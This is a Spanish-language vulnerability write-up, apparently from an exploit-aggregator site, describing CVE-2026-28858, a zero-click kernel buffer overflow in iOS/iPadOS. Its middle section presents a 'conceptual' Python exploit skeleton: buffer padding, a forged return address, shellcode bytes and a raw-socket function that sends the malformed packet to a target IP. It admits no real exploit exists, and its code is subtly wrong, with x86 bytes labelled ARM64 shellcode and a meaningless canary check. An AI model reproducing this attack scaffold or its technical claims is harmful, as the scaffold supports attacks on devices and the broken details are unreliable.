## https://sploitus.com/exploit?id=33F953DC-4C25-50D7-B378-1DF1E5713940
# ⚠️ CVE-2026-28858 — Buffer Overflow en Apple iOS/iPadOS
```
╔══════════════════════════════════════════════════════════════╗
║ SEVERIDAD: CRÍTICA │ CVSS: 9.8 │ CWE-120 │ REMOTO ║
╚══════════════════════════════════════════════════════════════╝
```
> **Un usuario remoto puede provocar la terminación inesperada del sistema o corrupción de memoria del kernel en iOS/iPadOS sin interacción del usuario ni privilegios.**
---
## 📋 Ficha Técnica
| Campo | Valor |
|---|---|
| **CVE ID** | CVE-2026-28858 |
| **EUVD** | EUVD-2026-15131 |
| **Publicado** | 25 de marzo de 2026 |
| **Última actualización** | 26 de marzo de 2026 |
| **CVSS v3.1** | `9.8 / 10` — **CRÍTICO** |
| **EPSS** | 0.05% |
| **Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-120 — Copia de búfer sin verificación de tamaño |
| **Estado** | Analizado — Parche disponible |
---
## 🎯 Descripción
Desbordamiento de búfer (Buffer Overflow) en **Apple iOS e iPadOS** causado por comprobación de límites insuficiente en el procesamiento de entradas del kernel.
**Impacto real:**
- Denegación de servicio (crash del sistema)
- Corrupción de memoria del kernel
- Potencial ejecución de código arbitrario con privilegios de kernel
- **Zero-click**: no requiere interacción del usuario
---
## ⚡ Detalles del Vector de Ataque
| Parámetro | Valor | Descripción |
|---|---|---|
| Vector de Ataque | `Red` | Explotable remotamente |
| Complejidad | `Baja` | Sin condiciones especiales |
| Privilegios Requeridos | `Ninguno` | No se necesita autenticación |
| Interacción de Usuario | `Ninguna` | Zero-click |
| Alcance | `Sin cambios` | Confinado al componente vulnerable |
| Confidencialidad | `Alto` | Acceso completo a datos |
| Integridad | `Alto` | Modificación total posible |
| Disponibilidad | `Alto` | Crash del sistema |
---
## 🔬 Análisis Técnico y Ejemplo de Código
No existe un exploit público para CVE-2026-28858. La siguiente representación es **conceptual**, basada en el CWE-120 y el vector de ataque documentado.
### 1. Estructura del Payload (Desbordamiento)
```python
# Representación conceptual del desbordamiento
import socket
# 1. Relleno del búfer asignado (~512 bytes típicos en handlers de kernel)
buffer_fill = b"A" * 512
# 2. Dirección de retorno sobrescrita — apunta a zona controlada por atacante
# En iOS/iPadOS real: requiere bypass de ASLR + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"
# 3. Shellcode: NOP sled + instrucciones maliciosas para ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..." # NOP sled + payload
payload = buffer_fill + return_address + shellcode
```
### 2. Vector de Entrega (Zero-Click)
```python
# Entrega remota sin interacción del usuario
# Ejemplo: paquete de red con campo de longitud manipulado
import struct
def craft_malicious_packet(target_ip: str, target_port: int):
"""
Crea un paquete con metadatos malformados que el kernel
de iOS procesa en segundo plano (sin UI del usuario).
Ej: certificado TLS, metadato de imagen, campo de protocolo de red.
"""
# Cabecera legítima del protocolo
header = struct.pack(">HH", 0x0001, 0xFFFF) # type=1, length=OVERFLOW
# Payload que excede el búfer del kernel
malicious_data = header + payload
with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
s.sendto(malicious_data, (target_ip, target_port))
```
### 3. Ejecución en el Kernel (Flujo del Exploit)
```
[Red/WiFi/BT] → Paquete malformado
↓
[Proceso iOS en background] → Lee el campo "longitud" = 0xFFFF
↓
[memcpy(bufer_kernel, datos, 0xFFFF)] → SIN VERIFICACIÓN DE LÍMITES
↓
[Desbordamiento: shellcode escrito sobre stack/heap del kernel]
↓
[Procesador redirigido a return_address del atacante]
↓
[Ejecución con ring 0 / privilegios de kernel]
```
### 4. Código Vulnerable vs. Código Corregido
```c
/* ❌ CÓDIGO VULNERABLE (antes del parche) */
void procesar_entrada(char *datos_usuario, size_t longitud) {
char bufer_kernel[512];
memcpy(bufer_kernel, datos_usuario, longitud); // SIN verificación
}
/* ✅ CÓDIGO CORREGIDO (iOS/iPadOS 26.4) */
void procesar_entrada(char *datos_usuario, size_t longitud) {
char bufer_kernel[512];
// Comprobación de límites — fix aplicado por Apple
if (longitud > sizeof(bufer_kernel)) {
kernel_log("CVE-2026-28858: input truncado [%zu > 512]", longitud);
return; // Abortar antes de copiar
}
memcpy(bufer_kernel, datos_usuario, longitud);
}
```
### 5. Detección con Stack Canaries
```c
/* Mecanismo de defensa en profundidad: Stack Canary */
#include
#define CANARY_VALUE 0xDEADBEEFCAFEBABE
void procesar_entrada_segura(char *datos_usuario, size_t longitud) {
uint64_t canary = CANARY_VALUE;
char bufer_seguro[512];
if (longitud > sizeof(bufer_seguro)) {
log_security_event("Intento de desbordamiento bloqueado");
return;
}
memcpy(bufer_seguro, datos_usuario, longitud);
// Verificar integridad del canario post-copia
if (canary != CANARY_VALUE) {
panic("Stack smashing detectado — CVE-2026-28858");
}
}
```
---
## 🛡️ Mitigación
**Acción inmediata requerida:**
```
Actualizar a iOS 26.4 / iPadOS 26.4 o posterior
```
- Ajustes → General → Actualización de software
- Aplica a **todos** los dispositivos Apple con versiones anteriores a 26.4
- No existe workaround viable — solo el parche es efectivo
---
## 📅 Cronología
```
23 mar 2026 → Publicación inicial (EUVD)
24 mar 2026 → Advisory Apple #126792 publicado
24 mar 2026 → Primera mención detectada (Feedly)
24 mar 2026 → Estimación CVSS por análisis automático
25 mar 2026 → NVD asigna CVSS 9.8 — Crítico
25 mar 2026 → Detección añadida a Qualys (ID: 610773)
26 mar 2026 → Estado: Analizado
```
---
## 🖥️ Sistemas Afectados
**Todas las versiones de iOS e iPadOS anteriores a 26.4**, incluyendo:
- iOS 1.0 → 26.3.x
- iPadOS 12.1 → 26.3.x
> Ver lista completa de CPEs afectados en la documentación de referencia.
---
## 🔗 Referencias
| Fuente | URL |
|---|---|
| Apple Security Advisory | https://support.apple.com/en-us/126792 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-28858 |
| CWE-120 | https://cwe.mitre.org/data/definitions/120.html |
---
## ⚠️ Clasificación CAPEC Relacionada
- **CAPEC-100** — Desbordamiento de búferes
- **CAPEC-10** — Overflow via variables de entorno
- **CAPEC-14** — Buffer overflow inducido por inyección client-side
- **CAPEC-8** — Buffer overflow en llamada a API
- **CAPEC-92** — Desbordamiento forzado de enteros
---
> **Disclaimer:** El código presentado es únicamente una representación conceptual con fines educativos y de investigación defensiva. No existe exploit público para CVE-2026-28858.# CVE-2026-28858